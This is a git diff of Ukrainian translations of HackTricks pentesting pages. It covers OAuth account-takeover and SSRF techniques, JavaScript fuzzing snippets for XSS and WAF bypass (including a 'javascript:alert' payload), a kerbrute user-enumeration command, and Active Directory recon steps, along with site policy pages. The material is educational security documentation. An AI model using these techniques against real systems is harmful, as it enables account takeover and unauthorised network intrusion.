https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html
{{#endref}}
### Зловживання токенами інших додатків <a href="#bda5" id="bda5"></a>
@ -173,7 +173,7 @@ https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated
Як [**пояснено в цьому відео**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), можливо вказати параметр **`response_mode`**, щоб вказати, де ви хочете, щоб код був наданий у фінальному URL:
- `response_mode=query` -> Код надається всередині GET параметра: `?code=2397rf3gu93f`
- `response_mode=fragment` -> Код надається всередині фрагменту URL параметра `#code=2397rf3gu93f`
- `response_mode=fragment` -> Код надається всередині фрагмента URL параметра `#code=2397rf3gu93f`
- `response_mode=form_post` -> Код надається всередині POST форми з полем введення, названим `code`, і значенням
- `response_mode=web_message` -> Код надсилається в повідомленні: `window.opener.postMessage({"code": "asdasdasd...`
@ -186,30 +186,30 @@ https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated
Цей [**блог**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) коментує, як було можливим зловживати **відкритим редиректом** на значення з **реферера**, щоб зловживати OAuth для ATO. Атака була:
1. Жертва заходить на веб-сторінку зловмисника
2. Жертва відкриває шкідливе посилання, і відкривач запускає Google OAuth потік з `response_type=id_token,code&prompt=none` як додаткові параметри, використовуючи як **реферер веб-сайт зловмисника**.
2. Жертва відкриває шкідливе посилання, і відкривач запускає Google OAuth потік з `response_type=id_token,code&prompt=none` як додаткові параметри, використовуючи **реферер веб-сайту зловмисника**.
3. У відкривачі, після того як постачальник авторизує жертву, він повертає їх назад до значення параметра `redirect_uri` (веб-сайт жертви) з кодом 30X, який все ще зберігає веб-сайт зловмисника в реферері.
4. Веб-сайт жертви **ініціює відкритий редирект на основі реферера**, перенаправляючи користувача жертви на веб-сайт зловмисника, оскільки **`respose_type`** був **`id_token,code`**, код буде надіслано назад до зловмисника у **фрагменті** URL, що дозволяє йому захопити обліковий запис користувача через Google на сайті жертви.
### Параметри SSRFs <a href="#bda5" id="bda5"></a>
[**Перевірте це дослідження**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Для отримання додаткових деталей цієї техніки.**
[**Перевірте це дослідження**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Для подальших деталей цієї техніки.**
Динамічна реєстрація клієнтів у OAuth є менш очевидним, але критично важливим вектором для вразливостей безпеки, зокрема для атак **Server-Side Request Forgery (SSRF)**. Цей кінцевий пункт дозволяє серверам OAuth отримувати деталі про клієнтські додатки, включаючи чутливі URL-адреси, які можуть бути використані в атаках.
Динамічна реєстрація клієнтів у OAuth є менш очевидним, але критично важливим вектором для вразливостей безпеки, зокрема для атак **Server-Side Request Forgery (SSRF)**. Цей кінцевий пункт дозволяє серверам OAuth отримувати деталі про клієнтські додатки, включаючи чутливі URL, які можуть бути використані в атаках.
**Ключові моменти:**
- **Динамічна реєстрація клієнтів** часто відображається на `/register` і приймає деталі, такі як `client_name`, `client_secret`, `redirect_uris` та URL-адреси для логотипів або JSON Web Key Sets (JWKs) через POST запити.
- **Динамічна реєстрація клієнтів** часто відображається на `/register` і приймає деталі, такі як `client_name`, `client_secret`, `redirect_uris` та URL для логотипів або JSON Web Key Sets (JWKs) через POST запити.
- Ця функція відповідає специфікаціям, викладеним у **RFC7591** та **OpenID Connect Registration 1.0**, які включають параметри, потенційно вразливі до SSRF.
- Процес реєстрації може ненавмисно піддавати сервери SSRF кількома способами:
- **`logo_uri`**: URL для логотипу клієнтського додатку, який може бути отриманий сервером, викликаючи SSRF або призводячи до XSS, якщо URL обробляється неналежним чином.
- **`jwks_uri`**: URL до документа JWK клієнта, який, якщо його зловмисно створити, може змусити сервер здійснити вихідні запити до сервера, контрольованого зловмисником.
- **`sector_identifier_uri`**: Посилається на JSON масив `redirect_uris`, який сервер може отримати, створюючи можливість SSRF.
- **`request_uris`**: Перераховує дозволені URI запитів для клієнта, які можуть бути використані, якщо сервер отримує ці URI на початку процесу авторизації.
- **`logo_uri`**: URL для логотипу клієнтського додатку, який може бути отриманий сервером, викликаючи SSRF або призводячи до XSS, якщо URL обробляється неправильно.
- **`jwks_uri`**: URL до документа JWK клієнта, який, якщо зловмисно створений, може змусити сервер здійснити вихідні запити до сервера, контрольованого зловмисником.
- **`sector_identifier_uri`**: Посилається на JSON масив `redirect_uris`, які сервер може отримати, створюючи можливість SSRF.
- **`request_uris`**: Перераховує дозволені запитувані URI для клієнта, які можуть бути використані, якщо сервер отримує ці URI на початку процесу авторизації.
**Стратегія експлуатації:**
- SSRF може бути ініційовано реєстрацією нового клієнта з зловмисними URL в параметрах, таких як `logo_uri`, `jwks_uri` або `sector_identifier_uri`.
- Хоча пряма експлуатація через `request_uris` може бути пом'якшена контролем білого списку, надання попередньо зареєстрованого, контрольованого зловмисником `request_uri` може полегшити SSRF під час етапу авторизації.
- Хоча пряма експлуатація через `request_uris` може бути зменшена за допомогою контролю білого списку, надання попередньо зареєстрованого, контрольованого зловмисником `request_uri` може полегшити SSRF під час фази авторизації.
## Умови гонки постачальників OAuth

View File

@ -108,7 +108,7 @@ log.push(i)
console.log(log) //34,39,47,96
//single quote, quotes, backticks & // (regex)
```
### **Сурогатні пари BF**
### **Surrogate Pairs BF**
Ця техніка не буде дуже корисною для XSS, але може бути корисною для обходу захисту WAF. Цей код на python приймає на вхід 2 байти і шукає сурогатні пари, які мають перший байт як останній байт високої сурогатної пари і останній байт як останній байт низької сурогатної пари.
```python
@ -121,7 +121,7 @@ l = chr(int(L[-2:],16))
if(h == findHex[0]) and (l == findHex[1]):
print(H.replace("0x","\\u")+L.replace("0x","\\u"))
```
### `javascript{}:` Протокол Фаззінг
### `javascript{}:` Протокол Фаззинг
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
log=[];
@ -144,7 +144,7 @@ document.body.append(anchor)
// Another way to test
<a href="&#12;javascript:alert(1337)">Test</a>
```
### URL Фаззинг
### URL Fuzzing
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition.
@ -152,7 +152,7 @@ document.body.append(anchor)
a = document.createElement("a")
log = []
for (let i = 0; i <= 0x10ffff; i++) {
a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`
a.href = `${String.fromCodePoint(i)}https://hacktricks.wiki`
if (a.hostname === "hacktricks.xyz") {
log.push(i)
}
@ -170,7 +170,7 @@ log.push(i)
}
console.log(log) //9,10,13,47,92
```
### HTML Фаззинг
### HTML Fuzzing
```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 38). Kindle Edition.
@ -188,16 +188,16 @@ console.log(log) //33,45,62
```
## **Аналіз атрибутів**
Інструмент **Hackability inspector** від Portswigger допомагає **аналізувати** **атрибути** об'єкта javascript. Перевірте: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
The tool **Hackability inspector** from Portswigger helps to **analyze** the **атрибути** of a javascript object. Check: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
## **.map js файли**
- Трюк для завантаження .map js файлів: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
- Ви можете використовувати цей інструмент для аналізу цих файлів [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji)
- Trick to download .map js files: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
- You can use this tool to analyze these files [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji)
## "--" Присвоєння
Оператор зменшення `--` також є присвоєнням. Цей оператор бере значення і потім зменшує його на одиницю. Якщо це значення не є числом, воно буде встановлено на `NaN`. Це можна використовувати для **видалення вмісту змінних з середовища**.
The decrement operator `--` is also an asignment. This operator takes a value and then decrements it by one. If that value is not a number, it will be set to `NaN`. This can be used to **видалити вміст змінних з середовища**.
![](<../../images/image (993).png>)
@ -205,10 +205,10 @@ console.log(log) //33,45,62
## Трюки з функціями
### .call та .apply
### .call and .apply
Метод **`.call`** функції використовується для **виконання функції**.\
Першим аргументом, який він очікує за замовчуванням, є **значення `this`**, і якщо **нічого** не надано, **`window`** буде цим значенням (якщо не використовується **`strict mode`**).
The **`.call`** method of a function is used to **run the function**.\
The **first argument** it expects by default is the **value of `this`** and if **nothing** is provided, **`window`** will be that value (unless **`strict mode`** is used).
```javascript
function test_call() {
console.log(this.value) //baz
@ -241,7 +241,7 @@ test_apply.apply(null, ["arg1", "arg2"])
```
### Стрілкові функції
Стрілкові функції дозволяють вам генерувати функції в один рядок легше (якщо ви їх розумієте)
Стрілкові функції дозволяють вам генерувати функції в один рядок простіше (якщо ви їх розумієте)
```javascript
// Traditional
function (a){ return a + 1; }
@ -264,7 +264,7 @@ let a = 4;
let b = 2;
() => a + b + 1;
```
Отже, більшість попередніх функцій насправді марні, оскільки ми не зберігаємо їх ніде, щоб зберегти та викликати їх. Приклад створення функції `plusone`:
Отже, більшість попередніх функцій насправді марні, оскільки ми їх ніде не зберігаємо, щоб зберегти та викликати їх. Приклад створення функції `plusone`:
```javascript
// Traductional
function plusone(a) {
@ -274,9 +274,9 @@ return a + 1
//Arrow
plusone = (a) => a + 100
```
### Bind функція
### Bind function
Функція bind дозволяє створити **копію** **функції, модифікуючи** **об'єкт `this`** та **параметри**, що передаються.
Функція bind дозволяє створити **копію** **функції, модифікуючи** об'єкт **`this`** та **параметри**, що передаються.
```javascript
//This will use the this object and print "Hello World"
var fn = function (param1, param2) {

View File

@ -4,12 +4,12 @@
### Introduction
Ця Політика використання файлів cookie застосовується до наступних веб-сайтів, що належать та експлуатуються командою HackTricks ("HackTricks", "ми", "нас" або "наш"):
Ця Політика використання файлів cookie застосовується до наступних веб-сайтів, що належать та експлуатуються командою HackTricks ("HackTricks", "ми", "нас" або "нашими"):
* hacktricks.xyz
* [www.hacktricks.xyz](http://www.hacktricks.xyz/)
* book.hacktricks.xyz
* cloud.hacktricks.xyz
* hacktricks.wiki
* [www.hacktricks.wiki](https://www.hacktricks.wiki/)
* book.hacktricks.wiki
* cloud.hacktricks.wiki
Використовуючи будь-який з цих веб-сайтів, ви погоджуєтеся на використання файлів cookie відповідно до цієї Політики використання файлів cookie. Якщо ви не погоджуєтеся, будь ласка, вимкніть файли cookie в налаштуваннях вашого браузера або утримайтеся від використання наших веб-сайтів.
@ -21,12 +21,12 @@
Ми використовуємо файли cookie на наших веб-сайтах для наступних цілей:
1. Основні файли cookie: Ці файли cookie необхідні для базової функціональності наших веб-сайтів, такі як забезпечення автентифікації користувачів, підтримка безпеки та запам'ятовування ваших налаштувань.
2. Файли cookie продуктивності: Ці файли cookie допомагають нам зрозуміти, як відвідувачі взаємодіють з нашими веб-сайтами, збираючи та звітуючи інформацію анонімно. Це дозволяє нам покращувати продуктивність нашого веб-сайту та користувацький досвід.
3. Файли cookie функціональності: Ці файли cookie дозволяють нашим веб-сайтам запам'ятовувати вибори, які ви робите, такі як ваша мова або регіон, щоб забезпечити більш персоналізований досвід.
4. Файли cookie для таргетування/реклами: Ці файли cookie використовуються для доставки релевантних оголошень та маркетингових комунікацій на основі ваших інтересів, історії переглядів та взаємодій з нашими веб-сайтами.
1. Essential cookies: Ці файли cookie необхідні для базової функціональності наших веб-сайтів, такі як забезпечення автентифікації користувачів, підтримка безпеки та запам'ятовування ваших налаштувань.
2. Performance cookies: Ці файли cookie допомагають нам зрозуміти, як відвідувачі взаємодіють з нашими веб-сайтами, збираючи та звітуючи інформацію анонімно. Це дозволяє нам покращувати продуктивність нашого веб-сайту та користувацький досвід.
3. Functionality cookies: Ці файли cookie дозволяють нашим веб-сайтам запам'ятовувати вибори, які ви робите, такі як ваша мова або регіон, щоб забезпечити більш персоналізований досвід.
4. Targeting/advertising cookies: Ці файли cookie використовуються для доставки релевантних оголошень та маркетингових комунікацій на основі ваших інтересів, історії переглядів та взаємодій з нашими веб-сайтами.
Більше того, сторінки book.hacktricks.xyz та cloud.hacktricks.xyz розміщені в Gitbook. Ви можете знайти більше інформації про файли cookie Gitbook за адресою [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy).
Крім того, сторінки book.hacktricks.wiki та cloud.hacktricks.wiki розміщені в Gitbook. Ви можете знайти більше інформації про файли cookie Gitbook за адресою [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy).
### Third-party cookies
@ -34,7 +34,7 @@
Managing cookies
Більшість веб-браузерів дозволяють вам керувати файлами cookie через їх налаштування. Ви можете вибрати блокування, видалення або обмеження використання файлів cookie на вашому пристрої. Однак, будь ласка, зверніть увагу, що вимкнення файлів cookie може вплинути на функціональність та продуктивність наших веб-сайтів.
Більшість веб-браузерів дозволяють вам керувати файлами cookie через їх налаштування. Ви можете вибрати блокувати, видаляти або обмежувати використання файлів cookie на вашому пристрої. Однак, будь ласка, зверніть увагу, що вимкнення файлів cookie може вплинути на функціональність і продуктивність наших веб-сайтів.
Changes to this Cookies Policy

View File

@ -1,31 +1,31 @@
# HackTricks Значення та FAQ
# HackTricks Values & FAQ
{{#include ../banners/hacktricks-training.md}}
## Значення HackTricks
## HackTricks Values
> [!TIP]
> Це **значення проекту HackTricks**:
> Це **цінності проекту HackTricks**:
>
> - Надати **БЕЗКОШТОВНИЙ** доступ до **ОСВІТНІХ хакерських** ресурсів **ВСІМ** в Інтернеті.
> - Хакінг - це про навчання, а навчання має бути якомога більш безкоштовним.
> - Хакерство - це про навчання, а навчання має бути якомога безкоштовнішим.
> - Мета цієї книги - слугувати всебічним **освітнім ресурсом**.
> - **ЗБЕРІГАТИ** чудові **хакерські** техніки, які публікує спільнота, надаючи **ОРИГІНАЛЬНИМ** **АВТОРАМ** всі **кредити**.
> - **Ми не хочемо кредиту від інших людей**, ми просто хочемо зберігати класні трюки для всіх.
> - Ми також пишемо **свої власні дослідження** в HackTricks.
> - У кількох випадках ми просто напишемо **в HackTricks резюме важливих частин** техніки і **заохочуватимемо читача відвідати оригінальний пост** для отримання додаткових деталей.
> - **ОРГАНІЗУВАТИ** всі хакерські техніки в книзі, щоб вони були **БІЛЬШ ДОСТУПНІМИ**
> - Команда HackTricks присвятила тисячі годин безкоштовно **тільки для організації контенту**, щоб люди могли **навчатися швидше**
> - Команда HackTricks присвятила тисячі годин безкоштовно **лише для організації контенту**, щоб люди могли **навчатися швидше**
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
## FAQ HackTricks
## HackTricks faq
> [!TIP]
>
> - **Дуже дякую за ці ресурси, як я можу вас подякувати?**
Ви можете публічно подякувати командам HackTricks за те, що зібрали всі ці ресурси публічно в твітті, згадуючи [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Ви можете публічно подякувати командам HackTricks за те, що зібрали всі ці ресурси публічно в твітті, згадавши [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Якщо ви особливо вдячні, ви також можете [**підтримати проект тут**](https://github.com/sponsors/carlospolop).\
І не забудьте **поставити зірку в проектах Github!** (Знайдіть посилання нижче).
@ -44,20 +44,20 @@
>
> - **Чи можу я скопіювати деякий контент з HackTricks і розмістити його в своєму блозі?**
Так, ви можете, але **не забудьте згадати конкретне посилання(я),** звідки був взятий контент.
Так, ви можете, але **не забудьте вказати конкретне посилання(я),** звідки був взятий контент.
> [!TIP]
>
> - **Як я можу цитувати сторінку HackTricks?**
Досить, щоб з'явилося посилання **на** сторінку(и), з якої ви взяли інформацію.\
Якщо вам потрібен bibtex, ви можете використовувати щось на зразок:
Досить, щоб з'явилося посилання **на** сторінку(і), звідки ви взяли інформацію.\
Якщо вам потрібен bibtex, ви можете використовувати щось на кшталт:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
title = {Title of the Specific Page},
year = {Year of Last Update (check it at the end of the page)},
url = {\url{https://book.hacktricks.xyz/specific-page}},
url = {\url{https://book.hacktricks.wiki/specific-page}},
}
```
> [!WARNING]
@ -78,7 +78,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
У нас є спонсори, тому що, навіть якщо весь контент БЕЗКОШТОВНИЙ, ми хочемо **надати спільноті можливість оцінити нашу роботу**, якщо вони цього хочуть. Тому ми пропонуємо людям можливість донатити HackTricks через [**Github sponsors**](https://github.com/sponsors/carlospolop), а також **відповідним компаніям з кібербезпеки** спонсорувати HackTricks і **мати деякі оголошення** в книзі, при цьому **оголошення** завжди розміщуються в місцях, де вони **видимі**, але **не заважають процесу навчання**, якщо хтось зосереджується на контенті.
Ви не знайдете HackTricks, заповнені набридливими оголошеннями, як інші блоги з набагато меншою кількістю контенту, оскільки HackTricks не створено для комерційних цілей.
Ви не знайдете HackTricks, заповнені набридливими оголошеннями, як інші блоги з набагато меншою кількістю контенту, тому що HackTricks не створено для комерційних цілей.
> [!CAUTION]
>
@ -92,7 +92,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
Зверніть увагу, що наявність посилань на вашу сторінку в HackTricks:
- Покращує ваше **SEO**
- Покращує ваш **SEO**
- Контент **перекладається на більше ніж 15 мов**, що дозволяє більшій кількості людей отримати доступ до цього контенту
- **HackTricks заохочує** людей **перевіряти вашу сторінку** (декілька людей згадували нам, що з тих пір, як деяка їхня сторінка є в HackTricks, вони отримують більше відвідувань)
@ -111,12 +111,12 @@ Copyright © Усі права захищені, якщо не вказано і
#### Підсумок ліцензії:
- Attribution: Ви вільні:
- Share — копіювати та розповсюджувати матеріал в будь-якому середовищі або форматі.
- Share — копіювати та перерозподіляти матеріал у будь-якому середовищі або форматі.
- Adapt — реміксувати, трансформувати та розвивати матеріал.
#### Додаткові умови:
- Контент третіх сторін: Деякі частини цього блогу/книги можуть містити контент з інших джерел, таких як уривки з інших блогів або публікацій. Використання такого контенту здійснюється відповідно до принципів добросовісного використання або з явним дозволом відповідних правовласників. Будь ласка, зверніться до оригінальних джерел для отримання конкретної інформації про ліцензування щодо контенту третіх сторін.
- Контент третіх сторін: Деякі частини цього блогу/книги можуть містити контент з інших джерел, такі як уривки з інших блогів або публікацій. Використання такого контенту здійснюється відповідно до принципів добросовісного використання або з явним дозволом відповідних правовласників. Будь ласка, зверніться до оригінальних джерел для отримання конкретної інформації про ліцензування щодо контенту третіх сторін.
- Авторство: Оригінальний контент, створений HackTricks, підлягає умовам цієї ліцензії. Вам рекомендується вказувати цю роботу автору при її поширенні або адаптації.
#### Винятки:
@ -130,11 +130,11 @@ Copyright © Усі права захищені, якщо не вказано і
## **Відмова від відповідальності**
> [!CAUTION]
> Ця книга, 'HackTricks', призначена лише для освітніх та інформаційних цілей. Контент у цій книзі надається на основі 'як є', і автори та видавці не роблять жодних заяв або гарантій будь-якого роду, явних або неявних, щодо повноти, точності, надійності, придатності або доступності інформації, продуктів, послуг або супутніх графіків, що містяться в цій книзі. Будь-яка залежність, яку ви покладете на таку інформацію, є строго на ваш власний ризик.
> Ця книга, 'HackTricks', призначена лише для освітніх та інформаційних цілей. Контент у цій книзі надається на основі 'як є', і автори та видавці не роблять жодних заяв або гарантій будь-якого роду, явних або неявних, щодо повноти, точності, надійності, придатності або доступності інформації, продуктів, послуг або супутніх графіків, що містяться в цій книзі. Будь-яка залежність, яку ви покладаєте на таку інформацію, є строго на ваш власний ризик.
>
> Автори та видавці не несуть жодної відповідальності за будь-які втрати або збитки, включаючи, без обмежень, непрямі або наслідкові втрати або збитки, або будь-які втрати або збитки, що виникають внаслідок втрати даних або прибутків, що виникають з, або у зв'язку з використанням цієї книги.
> Автори та видавці не несуть жодної відповідальності за будь-які втрати або збитки, включаючи, без обмежень, непрямі або наслідкові втрати або збитки, або будь-які втрати або збитки, що виникають внаслідок втрати даних або прибутків, що виникають з або у зв'язку з використанням цієї книги.
>
> Крім того, техніки та поради, описані в цій книзі, надаються лише для освітніх та інформаційних цілей і не повинні використовуватися для будь-якої незаконної або зловмисної діяльності. Автори та видавці не схвалюють і не підтримують жодну незаконну або неетичну діяльність, і будь-яке використання інформації, що міститься в цій книзі, є на ризик і розсуд користувача.
> Крім того, техніки та поради, описані в цій книзі, надаються лише для освітніх та інформаційних цілей і не повинні використовуватися для будь-якої незаконної або зловмисної діяльності. Автори та видавці не схвалюють і не підтримують жодну незаконну або неетичну діяльність, і будь-яке використання інформації, що міститься в цій книзі, є на ваш власний ризик і на ваш розсуд.
>
> Користувач несе повну відповідальність за будь-які дії, вжиті на основі інформації, що міститься в цій книзі, і завжди повинен звертатися за професійною порадою та допомогою, намагаючись реалізувати будь-які з технік або порад, описаних тут.
>

View File

@ -4,9 +4,9 @@
## Basic overview
**Active Directory** служить основною технологією, що дозволяє **мережевим адміністраторам** ефективно створювати та керувати **доменами**, **користувачами** та **об'єктами** в межах мережі. Вона спроектована для масштабування, полегшуючи організацію великої кількості користувачів у керовані **групи** та **підгрупи**, контролюючи **права доступу** на різних рівнях.
**Active Directory** служить основною технологією, що дозволяє **мережевим адміністраторам** ефективно створювати та управляти **доменами**, **користувачами** та **об'єктами** в межах мережі. Вона спроектована для масштабування, полегшуючи організацію великої кількості користувачів у керовані **групи** та **підгрупи**, контролюючи **права доступу** на різних рівнях.
Структура **Active Directory** складається з трьох основних рівнів: **домени**, **дерева** та **ліси**. **Домен** охоплює колекцію об'єктів, таких як **користувачі** або **пристрої**, які ділять спільну базу даних. **Дерева** — це групи цих доменів, пов'язані спільною структурою, а **ліс** представляє колекцію кількох дерев, взаємопов'язаних через **довірчі відносини**, формуючи найвищий рівень організаційної структури. Конкретні **права доступу** та **права на зв'язок** можуть бути призначені на кожному з цих рівнів.
Структура **Active Directory** складається з трьох основних рівнів: **домени**, **дерева** та **ліси**. **Домен** охоплює колекцію об'єктів, таких як **користувачі** або **пристрої**, які ділять спільну базу даних. **Дерева** — це групи цих доменів, пов'язані спільною структурою, а **ліс** представляє колекцію кількох дерев, взаємопов'язаних через **довірчі відносини**, формуючи найвищий рівень організаційної структури. Специфічні **права доступу** та **права на зв'язок** можуть бути призначені на кожному з цих рівнів.
Ключові концепції в **Active Directory** включають:
@ -18,11 +18,11 @@
**Active Directory Domain Services (AD DS)** охоплює ряд послуг, критично важливих для централізованого управління та зв'язку в межах мережі. Ці послуги включають:
1. **Domain Services** Централізує зберігання даних і керує взаємодією між **користувачами** та **доменами**, включаючи функції **автентифікації** та **пошуку**.
1. **Domain Services** Централізує зберігання даних та управляє взаємодією між **користувачами** та **доменами**, включаючи функції **автентифікації** та **пошуку**.
2. **Certificate Services** Контролює створення, розподіл та управління безпечними **цифровими сертифікатами**.
3. **Lightweight Directory Services** Підтримує програми, що використовують каталог, через **LDAP протокол**.
4. **Directory Federation Services** Надає можливості **одного входу** для автентифікації користувачів через кілька веб-додатків в одній сесії.
5. **Rights Management** Допомагає захистити авторські матеріали, регулюючи їх несанкціоноване розповсюдження та використання.
5. **Rights Management** Допомагає захистити авторські матеріали, регулюючи їх несанкціонований розподіл та використання.
6. **DNS Service** Критично важливий для розв'язання **доменних імен**.
Для більш детального пояснення перегляньте: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
@ -34,7 +34,7 @@
## Cheat Sheet
Ви можете зайти на [https://wadcoms.github.io/](https://wadcoms.github.io), щоб швидко переглянути команди, які ви можете виконати для перерахунку/експлуатації AD.
Ви можете зайти на [https://wadcoms.github.io/](https://wadcoms.github.io), щоб швидко переглянути, які команди ви можете виконати для перерахунку/експлуатації AD.
## Recon Active Directory (No creds/sessions)
@ -67,8 +67,8 @@
- Збирати облікові дані [**імітуючи сервіси з Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Доступ до хоста [**зловживаючи атакою реле**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Збирати облікові дані **викриваючи** [**підроблені UPnP сервіси з evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
- Витягувати імена користувачів/імена з внутрішніх документів, соціальних мереж, сервісів (в основному веб) в межах доменних середовищ, а також з публічно доступних джерел.
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Витягувати імена користувачів/імен з внутрішніх документів, соціальних мереж, сервісів (в основному веб) в середовищах домену, а також з публічно доступних джерел.
- Якщо ви знайдете повні імена працівників компанії, ви можете спробувати різні конвенції **імен користувачів AD** (**[читайте це**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Найбільш поширені конвенції: _NameSurname_, _Name.Surname_, _NamSur_ (3 літери з кожного), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _випадкові літери та 3 випадкові цифри_ (abc123).
- Інструменти:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
@ -77,7 +77,7 @@
### User enumeration
- **Anonymous SMB/LDAP enum:** Перевірте сторінки [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) та [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Kerbrute enum**: Коли **запитують недійсне ім'я користувача**, сервер відповість, використовуючи **код помилки Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, що дозволяє нам визначити, що ім'я користувача було недійсним. **Дійсні імена користувачів** викличуть або **TGT в AS-REP** відповіді, або помилку _KRB5KDC_ERR_PREAUTH_REQUIRED_, що вказує на те, що користувачеві потрібно виконати попередню автентифікацію.
- **Kerbrute enum**: Коли запитується **недійсне ім'я користувача**, сервер відповість, використовуючи **код помилки Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, що дозволяє нам визначити, що ім'я користувача було недійсним. **Дійсні імена користувачів** викличуть або **TGT в AS-REP** відповіді, або помилку _KRB5KDC_ERR_PREAUTH_REQUIRED_, що вказує на те, що користувачеві потрібно виконати попередню автентифікацію.
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -158,7 +158,7 @@ kerberos-double-hop-problem.md
- Ви можете використовувати [**CMD для виконання базової розвідки**](../basic-cmd-for-pentesters.md#domain-info)
- Ви також можете використовувати [**powershell для розвідки**](../basic-powershell-for-pentesters/index.html), що буде менш помітно
- Ви також можете [**використовувати powerview**](../basic-powershell-for-pentesters/powerview.md) для отримання більш детальної інформації
- Інший чудовий інструмент для розвідки в активному каталозі - це [**BloodHound**](bloodhound.md). Це **не дуже непомітно** (залежно від методів збору, які ви використовуєте), але **якщо вам це не важливо**, ви повинні обов'язково спробувати. Знайдіть, де користувачі можуть RDP, знайдіть шлях до інших груп тощо.
- Інший чудовий інструмент для розвідки в Active Directory - це [**BloodHound**](bloodhound.md). Це **не дуже непомітно** (залежно від методів збору, які ви використовуєте), але **якщо вам це не важливо**, ви повинні обов'язково спробувати. Знайдіть, де користувачі можуть RDP, знайдіть шлях до інших груп тощо.
- **Інші автоматизовані інструменти для перерахунку AD:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS записи AD**](ad-dns-records.md), оскільки вони можуть містити цікаву інформацію.
- **Інструмент з GUI**, який ви можете використовувати для перерахунку каталогу, - це **AdExplorer.exe** з **SysInternal** Suite.
@ -205,17 +205,17 @@ kerberoast.md
```
### NTML Relay
Якщо вам вдалося перерахувати активний каталог, ви отримаєте **більше електронних листів та краще розуміння мережі**. Ви можете змусити NTML [**атаки реле**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
Якщо вам вдалося перерахувати активний каталог, ви отримаєте **більше електронних листів та краще розуміння мережі**. Ви можете змусити NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
### **Шукайте креденціали в загальних папках комп'ютера**
### **Шукайте креденціали в комп'ютерних спільних ресурсах**
Тепер, коли у вас є деякі базові креденціали, ви повинні перевірити, чи можете ви **знайти** будь-які **цікаві файли, які діляться в AD**. Ви можете зробити це вручну, але це дуже нудне повторюване завдання (і ще більше, якщо ви знайдете сотні документів, які потрібно перевірити).
Тепер, коли у вас є деякі базові креденціали, ви повинні перевірити, чи можете ви **знайти** будь-які **цікаві файли, які діляться всередині AD**. Ви можете зробити це вручну, але це дуже нудне повторюване завдання (і ще більше, якщо ви знайдете сотні документів, які потрібно перевірити).
